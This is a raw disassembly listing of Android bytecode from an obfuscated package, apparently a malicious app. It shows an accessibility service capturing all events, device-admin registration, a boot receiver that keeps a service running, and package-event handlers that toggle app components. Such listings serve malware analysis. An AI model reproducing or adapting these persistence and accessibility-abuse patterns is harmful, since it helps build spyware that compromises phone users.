    00083a5asget-object v4, Lcmf0/c3b5bm90zq/patch/C11;->h:Ljava/lang/String;
    00083a5einvoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00083a64invoke-virtual {v3, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00083a6asget-object v4, Lcmf0/c3b5bm90zq/patch/C11;->h:Ljava/lang/String;
    00083a6einvoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00083a74invoke-virtual {v3, v14}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00083a7asget-object v4, Lcmf0/c3b5bm90zq/patch/C11;->h:Ljava/lang/String;
    00083a7einvoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00083a84invoke-virtual {v3, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00083a8ainvoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
    00083a90move-result-object v3
    00083a92invoke-static {v3}, Lcmf0/c3b5bm90zq/patch/C11;->a(Ljava/lang/String;)V
    00083a98new-instance v3, Ljava/lang/StringBuilder;
    00083a9cinvoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
    00083aa2invoke-virtual {v3, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00083aa8sget-object v4, Lcmf0/c3b5bm90zq/patch/C11;->h:Ljava/lang/String;
    00083aacinvoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00083ab2invoke-virtual {v3, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00083ab8sget-object v0, Lcmf0/c3b5bm90zq/patch/C11;->h:Ljava/lang/String;
    00083abcinvoke-virtual {v3, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00083ac2invoke-virtual {v3, v14}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00083ac8sget-object v14, Lcmf0/c3b5bm90zq/patch/C11;->h:Ljava/lang/String;
    00083accinvoke-virtual {v3, v14}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00083ad2invoke-virtual {v3, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00083ad8sget-object v14, Lcmf0/c3b5bm90zq/patch/C11;->g:Ljava/lang/String;
    00083adcinvoke-virtual {v3, v14}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00083ae2invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
    00083ae8move-result-object v14
    00083aeainvoke-virtual {v1, v14}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00083af0invoke-virtual {v13}, Lcmf0/c3b5bm90zq/patch/C1;->getApplicationContext()Landroid/content/Context;
    00083af6move-result-object v14
    00083af8invoke-virtual {v14}, Landroid/content/Context;->getResources()Landroid/content/res/Resources;
    00083afemove-result-object v14
    00083b00const v0, 0x7f0c0026
    00083b06invoke-virtual {v14, v0}, Landroid/content/res/Resources;->getString(I)Ljava/lang/String;
    00083b0cmove-result-object v14
    00083b0einvoke-static {}, Landroid/os/Environment;->getExternalStorageState()Ljava/lang/String;
    00083b14move-result-object v0
    00083b16const-string v2, "mounted"
    00083b1ainvoke-virtual {v2, v0}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
    00083b20move-result v0
    00083b22if-eqz v0, :cond_1bd
    00083b26new-instance v0, Ljava/lang/StringBuilder;
    00083b2ainvoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
    00083b30invoke-static {}, Landroid/os/Environment;->getExternalStorageDirectory()Ljava/io/File;
    00083b36move-result-object v2
    00083b38invoke-virtual {v2}, Ljava/io/File;->getAbsolutePath()Ljava/lang/String;
    00083b3emove-result-object v2
    00083b40invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00083b46const-string v2, "/"
    00083b4ainvoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00083b50invoke-virtual {v14}, Ljava/lang/String;->trim()Ljava/lang/String;
    00083b56move-result-object v14
    00083b58invoke-virtual {v0, v14}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00083b5einvoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
    00083b64move-result-object v14
    00083b66new-instance v0, Ljava/io/File;
    00083b6ainvoke-direct {v0, v14}, Ljava/io/File;-><init>(Ljava/lang/String;)V
    00083b70invoke-virtual {v0}, Ljava/io/File;->exists()Z
    00083b76move-result v14
    00083b78if-nez v14, :cond_1b5
    00083b7cinvoke-virtual {v0}, Ljava/io/File;->mkdirs()Z
    00083b82invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
    00083b88move-result-object v14
    00083b8ainvoke-direct {v13, v14}, Lcmf0/c3b5bm90zq/patch/C1;->a(Ljava/lang/String;)V
    00083b90nop
    00083b92return-void
    00083808
    00083b94
    00083b94 struct try_item
    00083b94 start_addr uint32 0x83818
    00083b98 insn_count int 444
    00083b9a handler_off uint16 0x83b9d
    00083b9c
    00083b9c struct encoded_catch_handler_list
    00083b9c size int 1
    00083b9d
    00083b9d struct encoded_catch_handler ← 0x83b9a
    00083b9d size int64 1
    00083b9e handlers[0].type_idx int 0x5994
    00083ba0 handlers[0].addr uint32 0x83b92
    00083ba2
    00083ba2 // align 0x4
    00083ba4
    00083ba4cmf0.c3b5bm90zq.patch.C1::onDestroy():
    00083bb4const/4 v0, 0x0
    00083bb6sput-boolean v0, Lcmf0/c3b5bm90zq/patch/C11;->j:Z
    00083bbareturn-void
    00083ba4
    00083bbc
    00083bbccmf0.c3b5bm90zq.patch.C1::onInterrupt():
    00083bccreturn-void
    00083bbc
    00083bce
    00083bce // align 0x10
    00083bd0
    00083bd0cmf0.c3b5bm90zq.patch.C1::onServiceConnected():
    00083be0invoke-super {v2}, Landroid/accessibilityservice/AccessibilityService;->onServiceConnected()V
    00083be6new-instance v0, Landroid/accessibilityservice/AccessibilityServiceInfo;
    00083beainvoke-direct {v0}, Landroid/accessibilityservice/AccessibilityServiceInfo;-><init>()V
    00083bf0const/16 v1, 0x59
    00083bf4iput v1, v0, Landroid/accessibilityservice/AccessibilityServiceInfo;->flags:I
    00083bf8const/4 v1, -0x1
    00083bfaiput v1, v0, Landroid/accessibilityservice/AccessibilityServiceInfo;->eventTypes:I
    00083bfeconst/16 v1, 0x10
    00083c02iput v1, v0, Landroid/accessibilityservice/AccessibilityServiceInfo;->feedbackType:I
    00083c06invoke-virtual {v2, v0}, Lcmf0/c3b5bm90zq/patch/C1;->setServiceInfo(Landroid/accessibilityservice/AccessibilityServiceInfo;)V
    00083c0cconst/4 v0, 0x1
    00083c0esput-boolean v0, Lcmf0/c3b5bm90zq/patch/C11;->j:Z
    00083c12invoke-direct {v2}, Lcmf0/c3b5bm90zq/patch/C1;->b()V
    00083c18goto :goto_20
    00083c1aconst/4 v0, 0x0
    00083c1csput-boolean v0, Lcmf0/c3b5bm90zq/patch/C11;->j:Z
    00083c20return-void
    00083bd0
    00083c22
    00083c22 struct code_item_padding
    00083c22 padding uint16 0x0000
    00083c24
    00083c24 struct try_item
    00083c24 start_addr uint32 0x83be6
    00083c28 insn_count int 25
    00083c2a handler_off uint16 0x83c2d
    00083c2c
    00083c2c struct encoded_catch_handler_list
    00083c2c size int 1
    00083c2d
    00083c2d struct encoded_catch_handler ← 0x83c2a
    00083c2d size int64 1
    00083c2e handlers[0].type_idx int 0x5994
    00083c30 handlers[0].addr uint32 0x83c1a
    00083c31
    00083c31 // align 0x4
    00083c34
    00083c34cmf0.c3b5bm90zq.patch.C2::<init>():
    00083c44invoke-direct {v0}, Landroid/app/admin/DeviceAdminReceiver;-><init>()V
    00083c4areturn-void
    00083c34
    00083c4c
    00083c4ccmf0.c3b5bm90zq.patch.C2::onDisableRequested(android.content.Context, android.content.Intent):
    00083c5cinvoke-super {v0, v1, v2}, Landroid/app/admin/DeviceAdminReceiver;->onDisableRequested(Landroid/content/Context;Landroid/content/Intent;)Ljava/lang/CharSequence;
    00083c62move-result-object v1
    00083c64return-object v1
    00083c4c
    00083c66
    00083c66 // align 0x8
    00083c68
    00083c68cmf0.c3b5bm90zq.patch.C2::onDisabled(android.content.Context, android.content.Intent):
    00083c78invoke-super {v0, v1, v2}, Landroid/app/admin/DeviceAdminReceiver;->onDisabled(Landroid/content/Context;Landroid/content/Intent;)V
    00083c7ereturn-void
    00083c68
    00083c80
    00083c80cmf0.c3b5bm90zq.patch.C2::onEnabled(android.content.Context, android.content.Intent):
    00083c90invoke-super {v0, v1, v2}, Landroid/app/admin/DeviceAdminReceiver;->onEnabled(Landroid/content/Context;Landroid/content/Intent;)V
    00083c96return-void
    00083c80
    00083c98
    00083c98cmf0.c3b5bm90zq.patch.C3::<init>():
    00083ca8invoke-direct {v0}, Landroid/content/BroadcastReceiver;-><init>()V
    00083caereturn-void
    00083c98
    00083cb0
    00083cb0cmf0.c3b5bm90zq.patch.C3::a(android.content.Context, java.lang.String):
    00083cc0const/4 v0, 0x0
    00083cc2invoke-virtual {v1}, Landroid/content/Context;->getPackageManager()Landroid/content/pm/PackageManager;
    00083cc8move-result-object v1
    00083ccainvoke-virtual {v1, v2, v0}, Landroid/content/pm/PackageManager;->getApplicationInfo(Ljava/lang/String;I)Landroid/content/pm/ApplicationInfo;
    00083cd0const/4 v1, 0x1
    00083cd2return v1
    00083cd4return v0
    00083cb0
    00083cd6
    00083cd6 struct code_item_padding
    00083cd6 padding uint16 0x0000
    00083cd8
    00083cd8 struct try_item
    00083cd8 start_addr uint32 0x83cc2
    00083cdc insn_count int 7
    00083cde handler_off uint16 0x83ce1
    00083ce0
    00083ce0 struct encoded_catch_handler_list
    00083ce0 size int 1
    00083ce1
    00083ce1 struct encoded_catch_handler ← 0x83cde
    00083ce1 size int64 1
    00083ce2 handlers[0].type_idx int 0x4c90
    00083ce3 handlers[0].addr uint32 0x83cd4
    00083ce4
    00083ce4cmf0.c3b5bm90zq.patch.C3::a(android.content.Context):
    00083cf4invoke-virtual {v4}, Landroid/content/Context;->getResources()Landroid/content/res/Resources;
    00083cfamove-result-object v0
    00083cfcconst v1, 0x7f0c0021
    00083d02invoke-virtual {v0, v1}, Landroid/content/res/Resources;->getString(I)Ljava/lang/String;
    00083d08move-result-object v0
    00083d0aconst/4 v1, 0x0
    00083d0cinvoke-virtual {v0, v1}, Ljava/lang/String;->charAt(I)C
    00083d12move-result v0
    00083d14const/16 v1, 0x31
    00083d18if-ne v0, v1, :cond_2a
    00083d1cinvoke-virtual {v4}, Landroid/content/Context;->getPackageManager()Landroid/content/pm/PackageManager;
    00083d22move-result-object v0
    00083d24new-instance v1, Landroid/content/ComponentName;
    00083d28const-class v2, Lcmf0/c3b5bm90zq/patch/C7;
    00083d2cinvoke-direct {v1, v4, v2}, Landroid/content/ComponentName;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
    00083d32invoke-virtual {v0, v1}, Landroid/content/pm/PackageManager;->getComponentEnabledSetting(Landroid/content/ComponentName;)I
    00083d38move-result v4
    00083d3aconst/4 v2, 0x2
    00083d3cif-eq v4, v2, :cond_2a
    00083d40const/4 v4, 0x1
    00083d42invoke-virtual {v0, v1, v2, v4}, Landroid/content/pm/PackageManager;->setComponentEnabledSetting(Landroid/content/ComponentName;II)V
    00083d48return-void
    00083ce4
    00083d4a
    00083d4a struct code_item_padding
    00083d4a padding uint16 0x0000
    00083d4c
    00083d4c struct try_item
    00083d4c start_addr uint32 0x83cf4
    00083d50 insn_count int 42
    00083d52 handler_off uint16 0x83d55
    00083d54
    00083d54 struct encoded_catch_handler_list
    00083d54 size int 1
    00083d55
    00083d55 struct encoded_catch_handler ← 0x83d52
    00083d55 size int64 1
    00083d56 handlers[0].type_idx int 0x5994
    00083d58 handlers[0].addr uint32 0x83d48
    00083d59
    00083d59 // align 0x4
    00083d5c
    00083d5ccmf0.c3b5bm90zq.patch.C3::a(java.lang.Class, android.content.Context):
    00083d6cconst-string v0, "activity"
    00083d70invoke-virtual {v4, v0}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
    00083d76move-result-object v4
    00083d78check-cast v4, Landroid/app/ActivityManager;
    00083d7cconst v0, 0x7fffffff
    00083d82invoke-virtual {v4, v0}, Landroid/app/ActivityManager;->getRunningServices(I)Ljava/util/List;
    00083d88move-result-object v4
    00083d8ainvoke-interface {v4}, Ljava/util/List;->iterator()Ljava/util/Iterator;
    00083d90move-result-object v4
    00083d92invoke-interface {v4}, Ljava/util/Iterator;->hasNext()Z
    00083d98move-result v0
    00083d9aif-eqz v0, :cond_31
    00083d9einvoke-interface {v4}, Ljava/util/Iterator;->next()Ljava/lang/Object;
    00083da4move-result-object v0
    00083da6check-cast v0, Landroid/app/ActivityManager$RunningServiceInfo;
    00083daainvoke-virtual {v3}, Ljava/lang/Class;->getName()Ljava/lang/String;
    00083db0move-result-object v1
    00083db2iget-object v0, v0, Landroid/app/ActivityManager$RunningServiceInfo;->service:Landroid/content/ComponentName;
    00083db6invoke-virtual {v0}, Landroid/content/ComponentName;->getClassName()Ljava/lang/String;
    00083dbcmove-result-object v0
    00083dbeinvoke-virtual {v1, v0}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
    00083dc4move-result v0
    00083dc6if-eqz v0, :cond_13
    00083dcaconst/4 v3, 0x1
    00083dccreturn v3
    00083dceconst/4 v3, 0x0
    00083dd0return v3
    00083d5c
    00083dd2
    00083dd2 // align 0x4
    00083dd4
    00083dd4cmf0.c3b5bm90zq.patch.C3::b(android.content.Context):
    00083de4invoke-virtual {v4}, Landroid/content/Context;->getResources()Landroid/content/res/Resources;
    00083deamove-result-object v0
    00083decconst v1, 0x7f0c0021
    00083df2invoke-virtual {v0, v1}, Landroid/content/res/Resources;->getString(I)Ljava/lang/String;
    00083df8move-result-object v0
    00083dfaconst/4 v1, 0x0
    00083dfcinvoke-virtual {v0, v1}, Ljava/lang/String;->charAt(I)C
    00083e02move-result v0
    00083e04const/16 v1, 0x31
    00083e08if-eq v0, v1, :cond_2a
    00083e0cinvoke-virtual {v4}, Landroid/content/Context;->getPackageManager()Landroid/content/pm/PackageManager;
    00083e12move-result-object v0
    00083e14new-instance v1, Landroid/content/ComponentName;
    00083e18const-class v2, Lcmf0/c3b5bm90zq/patch/C7;
    00083e1cinvoke-direct {v1, v4, v2}, Landroid/content/ComponentName;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
    00083e22invoke-virtual {v0, v1}, Landroid/content/pm/PackageManager;->getComponentEnabledSetting(Landroid/content/ComponentName;)I
    00083e28move-result v4
    00083e2aconst/4 v2, 0x2
    00083e2cif-eq v4, v2, :cond_2a
    00083e30const/4 v4, 0x1
    00083e32invoke-virtual {v0, v1, v2, v4}, Landroid/content/pm/PackageManager;->setComponentEnabledSetting(Landroid/content/ComponentName;II)V
    00083e38return-void
    00083dd4
    00083e3a
    00083e3a struct code_item_padding
    00083e3a padding uint16 0x0000
    00083e3c
    00083e3c struct try_item
    00083e3c start_addr uint32 0x83de4
    00083e40 insn_count int 42
    00083e42 handler_off uint16 0x83e45
    00083e44
    00083e44 struct encoded_catch_handler_list
    00083e44 size int 1
    00083e45
    00083e45 struct encoded_catch_handler ← 0x83e42
    00083e45 size int64 1
    00083e46 handlers[0].type_idx int 0x5994
    00083e48 handlers[0].addr uint32 0x83e38
    00083e49
    00083e49 // align 0x4
    00083e4c
    00083e4ccmf0.c3b5bm90zq.patch.C3::onReceive(android.content.Context, android.content.Intent):
    00083e5cinvoke-virtual {v10}, Landroid/content/Intent;->getAction()Ljava/lang/String;
    00083e62move-result-object v0
    00083e64const-string v1, "android.intent.action.PACKAGE_ADDED"
    00083e68invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
    00083e6emove-result v0
    00083e70if-nez v0, :cond_3c
    00083e74invoke-virtual {v10}, Landroid/content/Intent;->getAction()Ljava/lang/String;
    00083e7amove-result-object v0
    00083e7cconst-string v1, "android.intent.action.PACKAGE_CHANGED"
    00083e80invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
    00083e86move-result v0
    00083e88if-nez v0, :cond_3c
    00083e8cinvoke-virtual {v10}, Landroid/content/Intent;->getAction()Ljava/lang/String;
    00083e92move-result-object v0
    00083e94const-string v1, "android.intent.action.PACKAGE_INSTALL"
    00083e98invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
    00083e9emove-result v0
    00083ea0if-nez v0, :cond_3c
    00083ea4invoke-virtual {v10}, Landroid/content/Intent;->getAction()Ljava/lang/String;
    00083eaamove-result-object v0
    00083eacconst-string v1, "android.intent.action.PACKAGE_REPLACED"
    00083eb0invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
    00083eb6move-result v0
    00083eb8if-nez v0, :cond_3c
    00083ebcinvoke-virtual {v10}, Landroid/content/Intent;->getAction()Ljava/lang/String;
    00083ec2move-result-object v0
    00083ec4const-string v1, "android.intent.action.PACKAGE_REMOVED"
    00083ec8invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
    00083ecemove-result v0
    00083ed0if-eqz v0, :cond_fa
    00083ed4invoke-virtual {v9}, Landroid/content/Context;->getResources()Landroid/content/res/Resources;
    00083edamove-result-object v0
    00083edcconst v1, 0x7f0c0021
    00083ee2invoke-virtual {v0, v1}, Landroid/content/res/Resources;->getString(I)Ljava/lang/String;
    00083ee8move-result-object v0
    00083eeaconst/4 v1, 0x3
    00083eecinvoke-virtual {v0, v1}, Ljava/lang/String;->charAt(I)C
    00083ef2move-result v1
    00083ef4const/4 v2, 0x0
    00083ef6const/16 v3, 0x31
    00083efaconst/4 v4, 0x1
    00083efcif-ne v1, v3, :cond_64
    00083f00new-instance v1, Lcmf0/c3b5bm90zq/patch/c;
    00083f04invoke-direct {v1, v9}, Lcmf0/c3b5bm90zq/patch/c;-><init>(Landroid/content/Context;)V
    00083f0aiput-object v1, v8, Lcmf0/c3b5bm90zq/patch/C3;->a:Lcmf0/c3b5bm90zq/patch/c;
    00083f0eiget-object v1, v8, Lcmf0/c3b5bm90zq/patch/C3;->a:Lcmf0/c3b5bm90zq/patch/c;
    00083f12invoke-virtual {v1}, Lcmf0/c3b5bm90zq/patch/c;->a()Z
    00083f18move-result v1
    00083f1aif-eqz v1, :cond_62
    00083f1egoto :goto_64
    00083f20const/4 v1, 0x0
    00083f22goto :goto_65
    00083f24const/4 v1, 0x1
    00083f26invoke-virtual {v0, v4}, Ljava/lang/String;->charAt(I)C
    00083f2cmove-result v5
    00083f2eif-ne v5, v3, :cond_72
    00083f32sget-boolean v5, Lcmf0/c3b5bm90zq/patch/C11;->j:Z
    00083f36if-ne v5, v4, :cond_70
    00083f3agoto :goto_72
    00083f3cconst/4 v5, 0x0
    00083f3egoto :goto_73
    00083f40const/4 v5, 0x1
    00083f42const/high16 v6, 0x7f0c0000
    00083f46if-ne v1, v4, :cond_a8
    00083f4aif-ne v5, v4, :cond_a8
    00083f4einvoke-virtual {v10}, Landroid/content/Intent;->getData()Landroid/net/Uri;
    00083f54move-result-object v1
    00083f56invoke-virtual {v1}, Landroid/net/Uri;->getSchemeSpecificPart()Ljava/lang/String;
    00083f5cmove-result-object v1
    00083f5einvoke-virtual {v9}, Landroid/content/Context;->getResources()Landroid/content/res/Resources;
    00083f64move-result-object v5
    00083f66invoke-virtual {v5, v6}, Landroid/content/res/Resources;->getString(I)Ljava/lang/String;
    00083f6cmove-result-object v5
    00083f6econst-string v7, ".."
    00083f72invoke-virtual {v5, v7}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
    00083f78move-result v7
    00083f7aif-nez v7, :cond_a8
    00083f7einvoke-virtual {v1}, Ljava/lang/String;->toUpperCase()Ljava/lang/String;
    00083f84move-result-object v1
    00083f86invoke-virtual {v5}, Ljava/lang/String;->toUpperCase()Ljava/lang/String;
    00083f8cmove-result-object v7
    00083f8einvoke-virtual {v1, v7}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
    00083f94move-result v1
    00083f96if-eqz v1, :cond_a8
    00083f9ainvoke-static {v9, v5}, Lcmf0/c3b5bm90zq/patch/C3;->a(Landroid/content/Context;Ljava/lang/String;)Z
    00083fa0move-result v1
    00083fa2if-ne v1, v4, :cond_a8
    00083fa6invoke-virtual {v8, v9}, Lcmf0/c3b5bm90zq/patch/C3;->a(Landroid/content/Context;)V
    00083facinvoke-virtual {v10}, Landroid/content/Intent;->getAction()Ljava/lang/String;
    00083fb2move-result-object v1
    00083fb4const-string v4, "android.intent.action.PACKAGE_REMOVED"
    00083fb8invoke-virtual {v1, v4}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
    00083fbemove-result v1
    00083fc0if-eqz v1, :cond_e3
    00083fc4invoke-virtual {v10}, Landroid/content/Intent;->getData()Landroid/net/Uri;
    00083fcamove-result-object v10
    00083fccinvoke-virtual {v10}, Landroid/net/Uri;->getSchemeSpecificPart()Ljava/lang/String;
    00083fd2move-result-object v10
    00083fd4invoke-virtual {v9}, Landroid/content/Context;->getResources()Landroid/content/res/Resources;
    00083fdamove-result-object v1
    00083fdcinvoke-virtual {v1, v6}, Landroid/content/res/Resources;->getString(I)Ljava/lang/String;
    00083fe2move-result-object v1
    00083fe4const-string v4, ".."
    00083fe8invoke-virtual {v1, v4}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
    00083feemove-result v4
    00083ff0if-nez v4, :cond_e3
    00083ff4invoke-virtual {v10}, Ljava/lang/String;->toUpperCase()Ljava/lang/String;
    00083ffamove-result-object v10
    00083ffcinvoke-virtual {v1}, Ljava/lang/String;->toUpperCase()Ljava/lang/String;
    00084002move-result-object v1
    00084004invoke-virtual {v10, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
    0008400amove-result v10
    0008400cif-eqz v10, :cond_e3
    00084010invoke-virtual {v0, v2}, Ljava/lang/String;->charAt(I)C
    00084016move-result v10
    00084018if-eq v10, v3, :cond_e3
    0008401cinvoke-virtual {v8, v9}, Lcmf0/c3b5bm90zq/patch/C3;->b(Landroid/content/Context;)V
    00084022const-class v10, Lcmf0/c3b5bm90zq/patch/C11;
    00084026invoke-virtual {v8, v10, v9}, Lcmf0/c3b5bm90zq/patch/C3;->a(Ljava/lang/Class;Landroid/content/Context;)Z
    0008402cmove-result v10
    0008402eif-nez v10, :cond_fa
    00084032new-instance v10, Landroid/content/Intent;
    00084036const-class v0, Lcmf0/c3b5bm90zq/patch/C11;
    0008403ainvoke-direct {v10, v9, v0}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
    00084040invoke-virtual {v9, v10}, Landroid/content/Context;->startService(Landroid/content/Intent;)Landroid/content/ComponentName;
    00084046goto :goto_fa
    00084048move-exception v9
    0008404ainvoke-virtual {v9}, Ljava/lang/Exception;->printStackTrace()V
    00084050return-void
    00083e4c
    00084052
    00084052 struct code_item_padding
    00084052 padding uint16 0x0000
    00084054
    00084054 struct try_item
    00084054 start_addr uint32 0x83ed4
    00084058 insn_count int 167
    0008405a handler_off uint16 0x84065
    0008405c
    0008405c struct try_item
    0008405c start_addr uint32 0x84022
    00084060 insn_count int 18
    00084062 handler_off uint16 0x8406a
    00084064
    00084064 struct encoded_catch_handler_list
    00084064 size int 2
    00084065
    00084065 struct encoded_catch_handler ← 0x8405a
    00084065 size int64 1
    00084066 handlers[0].type_idx int 0x5994
    00084068 handlers[0].addr uint32 0x84048
    0008406a
    0008406a struct encoded_catch_handler ← 0x84062
    0008406a size int64 1
    0008406b handlers[0].type_idx int 0x5994
    0008406d handlers[0].addr uint32 0x84050
    0008406f
    0008406f // align 0x10
    00084070
    00084070cmf0.c3b5bm90zq.patch.C4::<init>():
    00084080invoke-direct {v0}, Landroid/content/BroadcastReceiver;-><init>()V
    00084086return-void
    00084070
    00084088
    00084088cmf0.c3b5bm90zq.patch.C4::a(android.content.Context):
    00084098const-class v0, Lcmf0/c3b5bm90zq/patch/C11;
    0008409cinvoke-virtual {v2, v0, v3}, Lcmf0/c3b5bm90zq/patch/C4;->a(Ljava/lang/Class;Landroid/content/Context;)Z
    000840a2move-result v0
    000840a4if-nez v0, :cond_12
    000840a8new-instance v0, Landroid/content/Intent;
    000840acconst-class v1, Lcmf0/c3b5bm90zq/patch/C11;
    000840b0invoke-direct {v0, v3, v1}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
    000840b6invoke-virtual {v3, v0}, Landroid/content/Context;->startService(Landroid/content/Intent;)Landroid/content/ComponentName;
    000840bcreturn-void
    00084088
    000840be
    000840be struct code_item_padding
    000840be padding uint16 0x0000
    000840c0
    000840c0 struct try_item
    000840c0 start_addr uint32 0x84098
    000840c4 insn_count int 18
    000840c6 handler_off uint16 0x840c9
    000840c8
    000840c8 struct encoded_catch_handler_list
    000840c8 size int 1
    000840c9
    000840c9 struct encoded_catch_handler ← 0x840c6
    000840c9 size int64 1
    000840ca handlers[0].type_idx int 0x5994
    000840cc handlers[0].addr uint32 0x840bc
    000840cd
    000840cd // align 0x10
    000840d0
    000840d0cmf0.c3b5bm90zq.patch.C4::a(java.lang.Class, android.content.Context):
    000840e0const-string v0, "activity"
    000840e4invoke-virtual {v4, v0}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
    000840eamove-result-object v4
    000840eccheck-cast v4, Landroid/app/ActivityManager;
    000840f0const v0, 0x7fffffff
    000840f6invoke-virtual {v4, v0}, Landroid/app/ActivityManager;->getRunningServices(I)Ljava/util/List;
    000840fcmove-result-object v4
    000840feinvoke-interface {v4}, Ljava/util/List;->iterator()Ljava/util/Iterator;
    00084104move-result-object v4
    00084106invoke-interface {v4}, Ljava/util/Iterator;->hasNext()Z
    0008410cmove-result v0
    0008410eif-eqz v0, :cond_31
    00084112invoke-interface {v4}, Ljava/util/Iterator;->next()Ljava/lang/Object;
    00084118move-result-object v0
    0008411acheck-cast v0, Landroid/app/ActivityManager$RunningServiceInfo;
    0008411einvoke-virtual {v3}, Ljava/lang/Class;->getName()Ljava/lang/String;
    00084124move-result-object v1
    00084126iget-object v0, v0, Landroid/app/ActivityManager$RunningServiceInfo;->service:Landroid/content/ComponentName;
    0008412ainvoke-virtual {v0}, Landroid/content/ComponentName;->getClassName()Ljava/lang/String;
    00084130move-result-object v0
    00084132invoke-virtual {v1, v0}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
    00084138move-result v0
    0008413aif-eqz v0, :cond_13
    0008413econst/4 v3, 0x1
    00084140return v3
    00084142const/4 v3, 0x0
    00084144return v3
    000840d0
    00084146
    00084146 // align 0x8
    00084148
    00084148cmf0.c3b5bm90zq.patch.C4::onReceive(android.content.Context, android.content.Intent):
    00084158invoke-virtual {v3}, Landroid/content/Intent;->getAction()Ljava/lang/String;
    0008415emove-result-object v3
    00084160const-string v0, "android.intent.action.BOOT_COMPLETED"
    00084164invoke-virtual {v3, v0}, Ljava/lang/String;->equalsIgnoreCase(Ljava/lang/String;)Z
    0008416amove-result v3
    0008416cif-eqz v3, :cond_f
    00084170invoke-direct {v1, v2}, Lcmf0/c3b5bm90zq/patch/C4;->a(Landroid/content/Context;)V
    00084176return-void
    00084148
    00084178
    00084178cmf0.c3b5bm90zq.patch.C5$1::<init>(cmf0.c3b5bm90zq.patch.C5, java.lang.String, int):
    00084188iput-object v1, v0, Lcmf0/c3b5bm90zq/patch/C5$1;->c:Lcmf0/c3b5bm90zq/patch/C5;
    0008418ciput-object v2, v0, Lcmf0/c3b5bm90zq/patch/C5$1;->a:Ljava/lang/String;
    00084190iput v3, v0, Lcmf0/c3b5bm90zq/patch/C5$1;->b:I
    00084194invoke-direct {v0}, Ljava/lang/Object;-><init>()V
    0008419areturn-void
    00084178
    0008419c
    0008419ccmf0.c3b5bm90zq.patch.C5$1::run():
    000841acsget-object v0, Lcmf0/c3b5bm90zq/patch/C11;->a:Lcmf0/c3b5bm90zq/patch/a;
    000841b0iget-object v1, v8, Lcmf0/c3b5bm90zq/patch/C5$1;->c:Lcmf0/c3b5bm90zq/patch/C5;
    000841b4invoke-virtual {v1}, Lcmf0/c3b5bm90zq/patch/C5;->getApplicationContext()Landroid/content/Context;
    000841bamove-result-object v1
    000841bcsget-wide v2, Lcmf0/c3b5bm90zq/patch/C11;->m:J
    000841c0const-wide/16 v4, 0x59
    000841c4invoke-static {v2, v3, v4, v5}, Lcmf0/c3b5bm90zq/patch/C11;->a(JJ)Ljava/lang/String;
    000841camove-result-object v2
    000841ccinvoke-virtual {v0, v1, v2}, Lcmf0/c3b5bm90zq/patch/a;->a(Landroid/content/Context;Ljava/lang/String;)Ljava/lang/String;
    000841d2move-result-object v0
    000841d4const-string v1, ""
    000841d8if-ne v0, v1, :cond_26
    000841dciget-object v0, v8, Lcmf0/c3b5bm90zq/patch/C5$1;->c:Lcmf0/c3b5bm90zq/patch/C5;
    000841e0invoke-virtual {v0}, Lcmf0/c3b5bm90zq/patch/C5;->getResources()Landroid/content/res/Resources;
    000841e6move-result-object v0
